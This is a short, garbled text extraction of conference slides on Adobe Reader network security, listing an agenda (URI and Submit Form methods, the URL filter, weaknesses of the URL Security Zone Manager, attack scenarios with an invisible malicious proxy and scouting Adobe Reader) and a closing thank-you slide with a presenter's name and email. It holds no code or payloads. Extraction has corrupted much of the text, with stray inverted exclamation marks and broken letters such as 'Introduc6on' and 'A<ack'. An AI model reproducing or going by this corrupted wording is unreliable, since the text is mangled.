Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-72
SLIDE 72

Thank ¡you ¡for ¡your ¡

  • ahenHon. ¡

Any ¡quesHons??? ¡ ¡

ValenHn ¡HAMON ¡ valen&n.hamon@et.esiea-­‑ouest.fr ¡